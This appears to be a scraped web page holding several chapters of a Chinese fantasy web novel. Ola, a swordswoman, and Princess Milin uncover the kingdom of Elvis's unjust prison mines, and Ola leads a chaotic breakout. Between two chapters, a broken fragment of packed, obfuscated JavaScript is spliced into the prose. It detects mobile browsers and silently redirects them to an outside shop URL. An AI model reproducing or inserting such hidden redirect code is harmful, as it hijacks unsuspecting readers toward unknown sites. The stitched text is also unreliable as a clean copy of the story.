卫队领队在下属的掩护下,成功瞄准米琳,他撇着嘴,势要让这个丫头片子吃点教训。 扣动扳机,子弹出膛直冲着米琳而去。 然而,它没有机会能够接触到米琳。 “怎么回事!” 一道幽蓝的影子闪过,那枚凶狠的子弹竟然直接被削过弹身,被引去了别的位置。 “你是谁?!” 有卫兵惊诧大叫。 一抹蓝色的矮小身影正静静站立的在他们的身边,对于卫兵的大声呼喝她毫不畏惧。 仔细看这诡异的东西居然没有五官! 卫兵们连滚带爬的躲开这个忽然出现的身影,可是太晚了。 没有任何杀意的剑招,挥起时不动声色,犹如游龙嬉戏,在每个人身上轻轻留下狠戾的痕迹。 不过一招,卫兵们护在身前的甲胄就被砍出了一道剑痕,力道之大,将他们全部撞飞出去,砸到墙壁上,砸到土地里。 砍出这惊人的一刀后,那抹蓝色便消失了,就像是众人的幻觉般,没有留下任何痕迹。 那是什么? 见此,米琳神情稍怔,她下意识瞥了眼身后的奥拉。 然而奥拉浑然不觉,暗自在心中给古伊娜叫好。 古伊娜帮她变强,她自然想尽办法回馈古伊娜。这几年里,她在争霸日志里获得的所有能量点差不多都用来给古伊娜升级了,现在转运珠已经到达了三级,可以让古伊娜展露身形。说不定再往下升级还能够让她获得神智,奥拉非常期待,并且正在为此努力着。只不过每次升级所消耗的能量点太多了,通过争霸日志来获取能量点还是太慢了...... 咦? 奥拉手掌挡在额头前,极目远眺,越过村口混乱的局面,向里面探索。在触及到某个位置时,她彻底停住。 “米琳,你看那边。” 她们站在高位上,很容易就能看清村子里。 米琳就这奥拉手指的方向望过去,就见一个圆滚滚的巨石正缓缓的朝着某个方向移动。 米琳睫毛眨动,金发边出现了个问号。 24.埃尔维斯(4) 埃尔维斯的士兵真是群贪心的家伙。 普鲁伊特听着吵闹的动静讽刺的压了压唇角。 不过天下乌鸦一般黑,这不是什么稀罕事。普鲁伊特心知肚明,也早有准备。 他对自己的伪装术非常自信,谁会在混乱的时候关注路边的石头呢? 普鲁伊特不怕动静闹大,就怕大家都乖乖就范。 所以在枪声响起,耳边充斥着人群四散而逃的恐慌时,唯有他这个窝在角落里的‘石头’欢欣雀跃,巴不得乱子在大些。 嘿,士兵们可千万别放两枪就结束了。 嘿,村民们可千万别轻易的束手就擒。 他鼻子耸动,轻易的嗅到了空气中的各种味道。不需要用眼睛看,他就能自然的分辨出该走哪条路。 他匍匐在地上,熟稔的拖动身体,双脚看似乱摆却是有意为之,当他移动到下一个位置时,没有在原地留下任何的痕迹。 计划之中的,他离村口的突发事件越来越远。 这村子四面环山,村口只是村子名义上的大门,实际上四面八方都可以进入大山里。 他心中已有盘算,动作算不上快但胜在隐秘。只要不被发现他顺利离开村子就是板上钉钉的事情,普鲁伊特心中窃喜,在确定自己远离了人群后也没有放松,依然警惕。 嗯? 他敏锐的察觉到前方有东西,他记得这条路上没有阻碍的啊—— 不过这也是有时会发生的事情,普鲁伊特调整方向,可他还没爬出去几步立刻感觉自己撞到了什么东西上面。 这下他已经意识到不对劲了。 他直接后退——碰到了东西。 他往左右挪动——碰到了东西。 他额头上冒出了虚汗,不知道是捂热的还是急的。 再怎么蠢他也能确认自己已经被发现了。 犹豫再三,普鲁伊特掀开伪装的一角,试探的看出去。正对上一双棕色的眼睛,从高处好奇的看着他。 “...嗨。”普鲁伊特硬是逼着自己从牙缝里蹦出了个礼貌的问候。 “你好。”奥拉似是无意间落手,刀身就随着她的力道在普鲁伊特眼前插入地面。 普鲁伊特强颜欢笑:“我是平民啊,大人。” 奥拉了然的点点头,没把刀收回去:“抱歉,吓到你了吗?可以请你出来吗?” 普鲁伊特看着近在咫尺的刀刃眼睛发直:我还有别的选项吗? 答案肯定是没有的。 村子中的骚乱似乎已经平息,至少再没有传出任何夸张的响动。 村口聚集的人不多,大多数人都已经逃回了家中,普鲁伊特发现了不少从窗户小小的缝隙中向外窥视的人影。 他乱糟糟刘海下的眼睛转了转,显然这件事情并没有得到解决。 “这、这怎么能袭击卫兵大人啊!这可怎么办....” 普鲁伊特还未走近,就听到了村长的哭嚎。 米琳薄唇绷直,面色不虞。 “你们为什么要抓走村里的人?” 米琳从小就学习国家的律法,她深知她们埃尔维斯没有这种不讲证据的抓捕。 被绑起来的卫兵们对米琳的话置之不理,卫兵领队更是从鼻腔里发出闷哼作为回应。 村长似乎忘记了,若是没有米琳他早就死在卫兵的枪下了,对救命恩人没有半分的好脸。被村民扶起来后,立即挥舞起拐杖在那个被叫做阿力的年轻人身上狠狠抽了几下:“都是你这个该死的小兔崽子......” 村长用恶毒的话语去辱骂这个给村子带来灾祸的扫把星,像是这样就可以和他撇清关系一样。 被骂的青年只一言不发的站在原地,在场的村民们不但不维护他,也都纷纷加入了这场骂战。 突然,一声大叫插入了这场单方面的指责中。 “哎哟——!” 带着个滑稽帽子,紫色卷发挡住眼睛,身上还穿着高领衣,几乎遮住全部面庞的瘦削男人冲了出来,几乎是滑跪着停到了米琳的身前。 他声情并茂:“公主殿下,您怎么在这儿——!” 这动静不仅吸引到了米琳,也成功让村民们闭上了持续输出的小嘴巴。 奥拉拖着普鲁伊特的大包姗姗来迟,见他一言不合跑走是来找米琳才松了口气。将他的包随手放下,甩了甩手。这包甚至比她训练时的负重还要重,她真不知道普鲁伊特是怎么背着它还能那么灵活的。 普鲁伊特的外貌特征十分显著,米琳当即将他认了出来,面露诧异:“普鲁伊特阁下...你现在不该在矿区里吗?” 普鲁伊特跪行小碎步,伸手抓住了米琳的裙摆,在上面留下了个黑手印:“公主殿下啊——我真是冤枉的——我没有卖劣质品啊,您还不了解吗?那都是从海上运来的奇珍异宝——再说了,退一万步讲,就算我卖的是劣质品,也不至于刑期一百年吧——!!” “定是这些下面的人徇私枉法,您可得给小人做主啊~~~~” 他这一声凄惨非常,惊天动地。 村民们没有被他刑期百年的事情吓到,反而因为他嘴里的称谓震在了原地。 公主? 是那个埃尔维斯万众敬仰的第一大公主吗? 是那个埃尔维斯皇室钦定的国家最珍贵宝物的那个公主吗? 村民们和卫兵们从未见过公主本人,按理说那样高贵的人是不会出现在这么偏僻的乡村里的。可从普鲁伊特那里买过东西的村民都知道,普鲁伊特可是面见过公主的大海商啊,这么有实力的大商人他说的能是假的吗? 米琳没有在乎村民们的议论,只在听到普鲁伊特哭诉的刑期百年后面色微白。 她想让普鲁伊特先起来,可下一秒,面前就又跪了一个人。 那个叫阿力的青年终于动了,他额头贴紧地面磕了几下,鼻涕眼泪糊了满脸:“公主殿下.....求您了,我想和我弟弟换回来,他、他自作主张替我去矿区,我、我不知情啊。求求您,让他回家,我愿意去矿区!” “阿力,别说了!” 村长红着眼睛就想去捂阿力的嘴。 米琳抬手制止了村长的动作。哪怕并没有直接证实米琳就是公主的证据,村民们也下意识的遵从她。不怕是假的,就怕是真的。没人想去挑战国家最尊贵之人的权威,就算是假的,那也是卫兵队该去处理的事情。她们这些小民,平日里谨慎惯了。 见目的达到,普鲁伊特勾了勾唇。 他可不是好心帮助叫阿力的那个呆头鹅,不过是为了脱身的惯用手段。 可怜的公主、单纯的公主、被蒙在鼓里的公主,当她知道真相的那一刻,会发生什么呢。普鲁伊特很好奇,并且十分乐意推动这样会让大家都不高兴的事情。 因为这样的事情 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是奥拉先退了一步,若是没有米琳,埃尔维斯的事情她无意插手。 普鲁伊特的计划很成功,公主殿下真的没有拦下他,虽然她看起来并不是乱了手脚无暇顾及。普鲁伊特回忆起当时走出村子的场景,瞥了眼旁侧安静的奥拉,公主倒像是主动开了后门放她们离开的。 普鲁伊特清咳一声:“咳,这位、奥拉小姐,请问您找在下有什么事情吗?” 奥拉还在想米琳的事情,闻言她稍稍回神:“我想买艘船。” 普鲁伊特假模假式的点点头,抱着臂望天看起来费劲思考的样子,半天才有些难为情的搓搓手:“别说,我还真有艘船。”他竖起一根手指,“只是我就这一艘船,现在我也得靠它离开......” 这也在奥拉的意料之中,毕竟普鲁伊特看起来不像是本地人,她思索了下继续:“我可以交坐船费,只要能离开这座岛就可以了。” “哦~您真是善解人意!”普鲁伊特夸张的捂住自己的胸口,很快他像是忽然想到什么,有些试探:“船费就不要您的了,我还有些东西在矿区,想回去拿一下,能麻烦您帮我看下船吗?...只要一会儿就好,我保证明天咱们就能出航!” 这倒也不是什么大事,还能省一笔钱,奥拉没有拒绝。 他们在林子里绕到了天黑,才到达了一处瀑布边上。晚上林子里起了层雾,远远的奥拉好像看到了艘小船停在水面上。 普鲁伊特有些着急:“您也看到船了,这里就麻烦您了。我现在去,白天就能回来!” 得到奥拉的同意后,他一溜烟闪进林子里就看不见影子了,背着个大包完全不影响他的动作。 看来修炼还是不够啊......奥拉想起那个大包的重量,让她背着包跑一天的话,她还真没有信心能坚持下来。 她走进瀑布形成的小湖泊,确认了在朦胧的水雾中船的位置,才在岸边燃起火堆准备休整。 可当明亮的火透过水雾时,居然也同时穿过了船身。 奥拉狐疑的走近船只,伸手触碰,毫无阻碍的穿了进去。她把手收回来,又伸进去,重复几回后终于确定。 她被骗了。 25.埃尔维斯(5) “公主、公主回来了——!” 深夜,灯火通明的城堡内,卫兵的通报响彻。传递进城堡,迅速传进了仆人们的耳朵里,依次传递通过大管事报到了皇家书房内。 国王听闻这个好消息难得失态,站起身时,椅子在地上划出了尖锐的鸣叫。 “去叫王后。” 他风风火火的夺门而出,几个侍从小跑着跟在他的身后。 王后这边也几乎同时得到了消息。她哭肿了双眼,没有了巡街时的珠光宝气,和蔼的面容上染上了忧郁的愁绪。这才得知女儿回家,便不愿等待,忘却了礼仪似的迈开步子去见自己失而复得的明珠。 米琳婉拒仆从的更衣侍奉,双手交叠身前,微微垂首站立在城堡大厅,肩平如横腰背笔挺。 一如既往的优雅得体。 除去身上那件脏污的礼服,完全看不出来她已被掳走一天了。 “我可怜的孩子你受苦了!” 人未至声先到,国王和王后前后脚抵达大厅。王后泪眼婆娑,快步从楼梯下去,双手捧起公主的脸左右端详,又拉起公主的手,看她的手臂。直到全部确认过后才重重的松了口气,将公主揽入了怀里。 国王背着手:“米琳,父王一定帮你讨回公道,严惩那小贼!告诉我她在哪,你是怎么回来的?” 母亲温暖的怀抱驱散了她身上夜风的清凉,米琳垂眼,轻轻拍了拍母亲的肩膀。 接着她直勾勾的看向国王:“父王,您知道普鲁伊特阁下的刑期吗?” 听到这个名字,国王当即沉下了脸:“提那个奸商作甚!” 没有得到准确的回答,米琳心下微沉,她的手从母亲肩膀收回到自己的腿侧缓缓握成拳。 “您知道对吗。” “米琳,不可无礼!” 王后掰正米琳的肩膀,尖声提醒。显眼的泪痕还挂在她的脸上,明明是关心的证明,现在却在她的脸上跟着扭曲,如同小丑脸上的线条,让米琳开始看不懂它的含义了。 但她还是要说。 “都是什么人在矿区?” “米琳,莫要妄言!”王后还想阻止,米琳挣脱出她的束缚,朝着国王一步步走过去。 她盯着那张熟悉的、永远带着严厉与关爱的面庞,质疑出她打心底不愿意相信的事情。 “那些人的刑期都和普鲁伊特阁下一样那么长吗?” “她们也都会被随意按上罪名逮捕吗?” “那些随意对平民、外来人出手的人,都是受到您的旨意吗?” “父王,您教给我的难道只是随意编造的理论吗?” 问到最后她声线颤抖,却不肯低头。 “米琳,这不是你该过问的事情。” 国王轻闭双眼,猛烈呼吸了几下,再睁开时恢复到了平常的模样。他语气很淡,却不容置疑。 “这都是真的吗?” 国王既不否认也不肯定的态度让米琳十分不解。 如果她的父亲立刻否定,并批判这是谣言将以下犯上的她大骂一顿,或许都比现在这种模棱两可的态度更能让她接受。 她的疑惑得到的只是国王的一声嗤笑,在大厅逐渐焦灼的气氛下,所有人都屏息凝神的时候,国王陛下笑出了声:“米琳,听话。你只要做好公主就可以,国家、国民这都不是你要操心的事情。” 他挥手示意侍从:“听话。” 他没有给米琳拒绝的权利,侍从已顺从的来到米琳的身边,她们都躬身垂头尽显恭敬,态度却是强硬的拉拽着公主,牵着她回到自己的寝宫去。 “这孩子在外面到底知道了什么,那些愚民定不会和她说这些的。” 王后敛去笑容,接过仆从递上的手帕擦拭掉脸上的痕迹。 国王盯着米琳的身影被簇拥着消失在走廊的尽头,他漫不经心的转动着拇指上的橙金宝石戒指:“那个奸商怎么会在外面......矿区的一群废物真不知道在干什么,当时真该把他杀了。”想起普鲁伊特,国王咬牙切齿,冰冷的杀意尽显无疑。气血上涌时他本能的撇了眼角落,强压着自己冷静下来,突兀的转走了话题:“可能是外面那些人。” 王后有些担忧:“会不会影响婚礼。” “不用担心,大人早下了指示,不会影响最后的收获。”国王扬了扬下巴,“可以让侍女过去了,可别误了时间。” 米琳被关回了房间。 随着房门轻轻合上,她所有的问题与不安也都被堵在了身体里。 她靠着柔软的床垫侧沿缓缓坐下,一种强烈违和感正在将她割裂。 她不过是想要临走时再看看自己的国家,想要自由的走一走。实现这微不足道的愿望却同时揭开了她无法触及到的一角。她不由得胡思乱想:我的子民生活在这个国家里,真的幸福吗? 哭诉的商人、额头磕红的青年、神情躲闪的村民不断交替着从她眼前闪过,她们都在告诉她答案,似乎不幸都是真的,可街道的繁华,民众的热情爱戴难道都是假的吗? 米琳纤细的手扶上额头,指甲陷入凌乱的发丝里,陷入理不清的茫然中。 叩叩。 房门敲了两下,接着被推开了一条缝。扎着两条麻花辫的姑娘小心的探进了头,明明做出了逾矩的行为,却完全不怕受到责骂。她皱着张白净的小脸:“公主殿下,您还好吗?” 米琳早已习惯她这样的冒失性子,没有责备她,面对朋友般展露着疲惫:“有点不好。” 麻花辫侍女踮起脚尖蹑手蹑脚的走进公主的寝宫,关上门后趴在门上仔细听了听动静后才大咧咧的呼出一口气,擦了擦脸上不存在的细汗。 米琳面上的阴霾被她这副样子驱散了不少,含笑点了点她背过去的手:“今天也是蜗牛吗?” “哼哼~”小侍女神秘兮兮的凑到米琳的身边,紧挨着米琳,从背后抽出手,“答对啦!” 一只通体黄色,带着小皇冠,歪嘴邪笑的蜗牛停在侍女的手掌上。见米琳看过来,它圆润的眼睛一眨不眨死死钉在了米琳的脸上。 “要是没有公主殿下,真不知道怎么把它们藏起来,要是被国王陛下和王后陛下发现了,它们一定会全都被丢出去的!”小侍女不带任何谄媚,眼睛亮闪闪的,发自内心的赞美:“嘿嘿,您就是最好、最善良的公主殿下!” 米琳指尖轻触这小蜗牛闪耀的皇冠没有说话。 “殿下。”侍女压低了声音,“您明天要不要......”她没说完,举手做了个拉弓的姿势。 米琳摇头,垂下眼摆弄着小小的蜗牛。 咔擦—— 她弯下的眉眼间蔓延着苦涩,任谁都能看出的强颜欢笑,放在这张脸上竟给她填上了独特的美。 她此时的情绪被定格,成为男人手中被攥褶皱的相片。 整个船舱中央,只有男人一人坐在华丽的宝座上。 他的面前,铺开的屏幕上,鲜活的公主彷佛与他对视。这让男人心情大好,抬手举杯,对着屏幕,对着公主。 深红的酒液在杯壁拍打,透过透明的杯身将公主的脸染红。 “期待与你相见,我的安琪儿~” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17027576|193660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >埃尔维斯的港口上,列队整齐的士兵踏步巡查,港口与城镇的交界街道上,士兵们围成一线将整个港口包围了起来。 整夜里港口都处在高度戒备中。 直到天光见晓,海平面上驶出条小小的影子。灯塔上的士兵举着望远镜,仅一眼立即冲下大喊:“那位大人要靠岸了!” 更早些在埃尔维斯的另一头。 奥拉在发现被骗后,立刻循着踪迹寻找普鲁伊特。可奈何这家伙处理的太干净,又是在夜里,奥拉几乎找不到他行走的痕迹,只能回到村子去。 她回到村子时,米琳和卫兵都离开了。村子里一片寂静,只有那个叫做阿力的青年呆坐在村门口,像是一直未曾离开。 最后以帮助他把他弟弟救出来为条件,成功让阿力带她去矿区看看。 穿梭在森林里,奥拉有一搭没一搭的和阿力聊着天:“你不是把事情告诉米...你们的公主了吗?怎么还要去救人?” 就算救出来,他们两个难道还不在埃尔维斯生活了吗。奥拉不太理解阿力的脑回路,也就顺势问了出来。 阿力走在前面开路,头也没回很是嘲讽:“公主...她能做什么?” 奥拉不悦的皱起眉:“跪在她面前哭着求助的不是你吗?” “那是因为...”阿力止住了话头,他用力扇开眼前挡路的绿叶:“不关你的事,你只要帮我救人就可以了!” 奥拉撇撇嘴,没在搭话。 天色渐明时,终于到达了矿区。 埃尔维斯的宝石矿非常丰富,基本都集中在这片群山中,埃尔维斯人将这片区域统称为矿区,也是这里的特殊监狱。采矿毕竟是劳累的工作,靠着宝石制品生活的埃尔维斯人大都是富裕的,她们很少有自愿来从事这种重体力工作的情况。但没人开采矿石是不行的,就这个情况,国家颁布了新的律法,凡是在国内触犯法律者,在确认了刑期后全都会被投入矿区工作,直至刑满释放。 埃尔维斯没有直接的死刑,死刑犯只会在矿区里被榨干最后的价值,干到死。 触犯了法律的外来人,同样会被关进这里。若是奥拉没有逃走,她也会被扭送到这里工作。 现在她倒是自己来了。 混入矿区很简单,这么广袤的地界,埃尔维斯人却并没有派出大量人手看管。巡逻的队伍只有一两人,轻而易举的便能躲过去。 “我先带你去找普鲁伊特先生。” 奥拉抬了抬眼皮:“你怎么知道他在哪?” “这边是离村子最近的口,若他着急离开,肯定不会走远。” 这个理由有些牵强,奥拉没有反驳,只是手已经搭上刀柄。 从潜入到现在一切进展都太顺利了,这种轻易处处透露着种说不上来的诡异。 奥拉继续跟在阿力的身后,悄悄打量四周的环境。这时矿工们似乎还没有出工,路上没有人,偶尔会碰到巡逻的卫兵。阿力私下不知道来过矿区多少次,熟稔的带着奥拉穿过矿洞,躲过卫兵。很快她们就来到了处旷阔的平地,间隔不远的堆着一座座小山高的奇特宝石。 远看过去,果然有个影子在宝石山上翻找着什么。 奥拉眉头稍松,向那个身影走过去。 可当她看清人后猛地停下了脚步,那座宝石山上不是普鲁伊特,而是一个卫兵,他的枪插在宝石山里,见到奥拉靠近当即抽出枪支朝着奥拉射击。 奥拉闪身躲过。 蓦地,她汗毛直竖,想躲已经躲不开了。 身后,阿力双手拿着匕首,猩红着眼睛捅向奥拉。 26.埃尔维斯(6) “!” 电光火石之间,铁器碰撞,阿力被震得手腕一松,匕首脱手飞了出去。 奥拉早就对阿力起疑,提前做好准备。压刀后翘刚好挡住了阿力的偷袭。 没了武器,阿力空着手也要扑向奥拉:“去死!” 奥拉屈身躲避,余光看到了更多的卫兵从宝石山里爬出来,显然刚刚的开枪只是信号。 这么多人! 这些卫兵被宝石掩盖隐藏身体,陆续冒出头,她大致扫过这里至少也有十几人,她后退几步隐隐感到棘手。 偏偏还有个阿力死缠着她,让她不得不分心应对。 站在高出的卫兵们,从各个方位朝着唯一的靶子射击,子弹如雨般密密麻麻。 奥拉尽力闪躲,用刀挡去了不少子弹,但还是无法避免的被波及。 子弹冲过她的衣服留下焦黑的弹痕,擦过肌肉蹭出灼热的伤口。她无法在远距离打败这么多人,目前看来只有撤退是最优解。 “啊——!” 奥拉侧过身躲过大叫着杀来的阿力,抬起脚就往他屁股上猛猛一踹:“我没惹你吧,干嘛追着我杀!” “只有杀了你,我才能、我弟弟才能活,去死吧!” 阿力捂着手臂,鲜血从他的掌缝间留出。他浑然未觉般,咆哮着向奥拉的方向掷出匕首。 因为受伤的缘故,他的力道不大,奥拉不过往旁侧移了一步便躲开了。 卫兵的子弹不认人不停的扫射。 “啧。”奥拉上前一步,不顾挣扎的阿力,拖住他的衣领就往外面的方向跑。 “别让她跑了,快追!” 卫兵们反应迅速,边从宝石山下来边朝着奥拉射击,打不到奥拉就朝着阿力射击,夺命的子弹紧紧追在她们的后面。 眼见甩不掉,奥拉也没有放开阿力。她调出系统界面打光,转头跑进了漆黑一片的矿洞里。仗着黑暗的环境来削弱敌人的火力,也给自己一些喘息的时间。 但这样躲着迟早会被发现。 “你..!” 奥拉没让阿力把话说完,反手一个手刀劈到了他的后脖颈上。 把他瘫软下去的身体靠着墙挨好,借着光趴到地上仔细的寻找。 当看到两三只排队行走的蚂蚁时,她眼前一亮:“系统,翻译。” 要说翻译功能的开发那还是两年前的事情,自从她能够流利的说本地话以后,翻译的功能基本就落灰了。奥拉直觉系统应该不会给她没用的功能,虽然系统一直很不靠谱。闲下来的时候她也尝试开发了下,她第一次朝不同生物使用翻译功能还是对着村里流浪的小黑猫,没想到还真成功了。 当时的翻译记录还留存在系统界面上,奥拉扫了眼。 【1507年xx村。 丧彪:喵喵喵(愚蠢的两脚兽) 喵喵喵喵喵(快给本大爷上供)】 这是从一只乖巧可爱的小猫咪嘴里吐出的小猫语,奥拉当时非常震惊完全没法把它和它那张可爱的脸联系到一起。实在太可怕了,人类还是要离小猫的生活远一点,奥拉自那以后再也没用过翻译功能。 眼下,无路可走间倒是把它想起来了。 很快,密密麻麻的小字就从蚂蚁头顶飘了上来。 “都小心点,这里有巨怪出没,我们有不少兄弟都折在这里了!” “巨怪?咱们之前遇到的那个就是吗?” “当然是,看到她们抓紧跑...等等地面怎么不震了...” “快跑啊被巨怪发现了!!” 哦吼,巨怪就是人类吗? 奥拉看着四处乱窜的小蚂蚁和飘出来的“啊啊啊啊”,默默关掉了翻译功能。 她拖着阿力犹豫着不知是否该继续前进,她稍稍有些在意,蚂蚁们所说的之前遇到的....是多久之前? 前面会有其他人吗...... 可情况不等人,她刚停下没多会儿,就听到了身后密密麻麻的脚步声,接着整个矿洞都亮起了昏黄的灯。 这下不跑也得跑了。她大步向前,还没跑出去几步,整个矿洞就发生了猛烈的震动。 她险些摔倒,还没等她喘口气,前方突然出现了个巨大的阴影。 越来越近,越来越大。 奥拉眯着眼睛看过去,这才看清——最前面那个背着个巨大背包的不正是普鲁伊特吗! 普鲁伊特也同时看到了奥拉,他快速的摆动手臂狂奔,看见奥拉完全忘却了曾欺骗对方的事情带着哭腔与激动:“救——命——啊!” 他的身后,一只巨兽紧追在后面。它压低身子,隆起的背紧贴在岩壁上层,跑动时剐蹭岩壁将脆弱的小石子碾成粉末,坚硬的地面上也抵挡不住的被烙印上爪印。它张着血盆大口,比手臂还粗的尖牙闪着寒光,对着普鲁伊特的脑袋就扑过去。 奥拉将阿力留在原地,手已握上刀柄但未出鞘,后脚蹬地蓄力。在普鲁伊特即将到达身边时忽然发力,整个人弹射出去,风将她的声音留在了原地:“后面有人小心!” 两人位置眨眼对换,奥拉抽刀银光乍现又右下至左上斜斜斩过巨兽的正脸,没有华丽技巧,一刀干脆利落又朴实无华:“拔刀斩。” 顿时血液横流,巨兽因剧痛发出威慑的低吼,被斩歪过去的脑袋甩回,抬起爪子对着奥拉就是一掌。 躲过去的普鲁伊特本想丢下奥拉就跑,刚出去两步他鼻子下意识抽动,接着大退一步,一口大铁锅就被他从那大包里拽了出来。刚架在前方,矿洞里就被火光点亮,颗颗子弹撞到铁锅上,发出‘duangduang’的声响,火光消失,而发射出去的子弹又以无法阻挡的趋势反弹到了岩壁,反弹到了开枪者的身上。 一时间,岩洞里痛呼声、嘶吼声、射击声络绎不绝。 这只巨兽皮糙肉厚,被奥拉砍了一刀后还能活蹦乱跳的。见伤害不到奥拉就原地起跳,震得尘土跳跃,岩壁被撞下来的石块越来越多。 奥拉呼吸急促,光是躲避石块和稳住身体就要耗费不少体力,还要警惕巨兽时不时的攻击,渐渐的和巨兽陷入了僵持。 在这样下去矿洞可能会被震塌。奥拉用余光撇了眼身后,普鲁伊特还能顶住,但等卫兵们反应过来放弃射击直接上前生擒的话她们的处境会更不好。视线飘到那口深色的大铁锅上,看着左右两个手柄,奥拉灵机一动。 她咬牙:“普鲁,把锅给我!” 普鲁伊特被他这声普鲁叫的茫然片刻:“普鲁伊特不是普鲁·伊特!”虽是这么说,他还是听从奥拉的指挥,拖着锅慢慢往回走。 就在这个时候,夹在两人中的阿力悠悠转醒。他扶着自己疼的不像话的屁股,睁眼看到背对着他的奥拉和普鲁伊特立刻跳起来:“你、你们...!” “别这个时候捣乱!!”奥拉和普鲁伊特同时向后肘击,怼在阿力的左右脸上,硬是把他的方下巴变成了瓜子脸。 可怜他一句话还没说完就又顶着左右两边各一个红印倒在了地上。 “停止射击!都给我抽刀!” 反射回来的子弹威力减弱,但打在卫兵的身上依然是一个个血窟窿。不少人抱着自己受伤的地方哀嚎,卫兵队长见状立刻调整战略。 他领着率先往前冲,只不过踏出去还没两步就停了下来,他怔怔的看着眼前面色又灰变紫,姹紫嫣红,眼睛夸张的突了出去:“走、走、走!!” 他结巴的指示让其余卫兵摸不到头脑,都好奇伸长脖子,可当看清的同时也都和卫兵队长一样眼球外突,差点连舌头都掉出来了。 “啊啊啊啊啊啊啊!!!” 他们身前,一头巨兽正发了疯似的直冲过来。 奥拉仰躺在兽头上,两只手死死拽住铁锅的手柄。而另一头的手柄牢牢的卡在了巨兽的上颚,让他闭不上嘴。整面铁锅盖在巨兽的脸上,而在铁锅之下,普鲁伊特缩着身子坐在巨兽的鼻子上大气不敢喘一声,如小鹌鹑一样抱紧弱小无力的自己,两行热泪浸湿了他的立领:早知道奥拉这么莽,他就自己跑了啊!! 而昏厥过去的阿力被普鲁伊特挡着卡在兽鼻子与兽瞳之间,这才迷迷蒙蒙的睁开眼,就对上双近在咫尺的竖瞳。他当即血色尽失,都不用等普鲁伊特再把他敲昏,自己嘎巴一下就又晕了过去。 卫兵们互相拥挤都想要先逃走,可矿洞的入口本就不大,都堵在门口谁也出不去。 巨兽才不管这些,它哪受过这种委屈愤怒的想要把奥拉从身上甩下去,庞大的身体不断的加速,大嘴如推土机一样把门口挡路的卫兵全部铲起来顶出门口。 于是,在众多矿奴的围观下,一头巨兽忽然从矿洞里钻出来,以前那些威风凛凛的官爷们缠成球被巨兽含在嘴里。而在巨兽的头顶,一个女人坐立其上,沐浴在阳光里高仰起头,英勇无畏。 “是、是来解放我们的吗?!” 矿奴们张大嘴巴,其中有胆大的朝着奥拉大喊。 “啊啊啊啊!!!” 得到的是一片啊啊的尖叫。 落到矿奴耳朵里就成了肯定的答复,有人热泪盈眶,有人仰天长啸。 这天,在埃尔维斯某矿区的天空上,长久的飘荡着“啊啊啊啊啊啊!!!”的嘶吼声,是解脱、是结束的号角。跟着巨兽、跟着扔下工具的矿奴们传递到矿区的每个角落。 对此,坐在巨兽身上的奥拉毫不知情。冲出矿洞的那一刻,骤然刺眼的阳光激出了她眼中的泪花,让她不得不闭上眼睛。暂时失去视觉,偶尔失重的腾空和还在加快的速度让她封在喉咙里的尖叫再也无法忍耐。 双手指节被铁锅手柄磨得血肉模糊,她却不能直接松手。咬着牙硬是挺着,不知过了多久,巨兽的速度终于减弱,奥拉松口气的同时,正要想办法脱身。这刚转头,就看见一群人泪流满面的追在左右。 奥拉:不是,这咋了? “肃静!!都滚回去工作!她是入侵者,跟着她是都想死吗?!” 乱了一上午,这矿区负责人才姗姗来迟,身上还穿着睡衣,领口大敞 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她们不敢随意对卫兵出手,这已经是生理上的本能了。她们只能如同抱团的小老鼠一样,不停的向奥拉靠近,想要寻求庇护。抱着微弱的渴求,希望这只是主人的一场游戏。 巴克少爷?谁啊? 奥拉刚闪过一丝疑惑,立刻无暇顾及。巨兽发觉无法通过速度甩掉奥拉,就开始疯狂甩动身体,原地扑腾。奥拉眼尖的发现不知为何底下的人都在向着这边靠拢,她警铃大作,攥紧铁锅的手不敢松懈,双腿夹紧,身体跟着巨兽摆动,往反方向发力,控制巨兽的头颅尽力缩减它的移动范围。 “疯了吗?都让开?” 她忍无可忍,冲着下面还在围过来的矿奴们大声驱赶。 “主人,不是说您来了就放我们自由吗?” “快点结束吧,这种噩梦般的日子!” “我们没有让公主发现!我们……” 矿奴们完全听不进她的话,也听不进卫兵们的话。紧绷的神经一旦松懈,就不愿意轻易的再绷起来了。这些矿奴们显然期待解放的这天已经很久了,哪怕有人告诉她们这是假的,她们也不会相信。 奥拉完全搞不清楚状况,她正要在说些什么,声音接着就被子弹的呼啸压住。 眼前,一个中年人倒在了血泊中。 她瞳孔微缩,那负责人又站回了高处,手中的枪朝着人群不停的射击。 噗呲噗呲的击中血肉,越来越多的人倒在地上,有的人还能痛苦呻吟,有的人挛动几下就没了气息。 这是生命,不是射击气球的游戏啊! 矿奴们终于感到了恐惧,死亡的威慑让她们想起了自己被支配的一生,想起了她们的身份。在随时会被射死的情况下,她们竟然不跑也不叫。只是跪在地上颤抖着,在心底恳求着上位者的宽容。 不知道何时,高处架起了白屏,一张肥硕的胖脸占据了屏幕上全部的位置。从那细缝般的眼睛里撒出阴毒的光,看着在场的每一个人。 “巴克,你在干什么!” 他激动的脸上的肉都在跟着抖动,看着没什么摄人的。可奥拉身下的巨兽听到熟悉的声音整个身体猛地僵住,竟真的不在动了。 他的声音一出,除了矿奴以外,连卫兵们和负责人都对着他跪了下去。 瞬间,只有高高坐在巴克身上的奥拉隔着遥远的距离与他对视。周围所有都是只露出后脑,四肢趴地跪拜的人,只有奥拉是大胆的反叛者。 看到奥拉,他气急败坏,紧握拳头捶在扶手上。 “你是什么该死的东西,也敢抢走我的安琪儿!!”若不是隔着屏幕,那胖子的唾沫星子怕是要直接喷到奥拉脸上了,“给我杀了她!你们这些低贱的奴隶,连我都认不出来,杀了,都杀了!!” 奥拉上下牙齿咬合,顶着脸颊鼓动了一下。 “我...” 忽地,骑着巨兽的女人飞上了天际,穿过幕布。 “刺啦——” 刺耳的声音结束,那张丑陋的脸随之被撕裂,紧接着消失不见。 矿奴们、卫兵们惊愕抬头,唯有注视那个冲上去的身影。 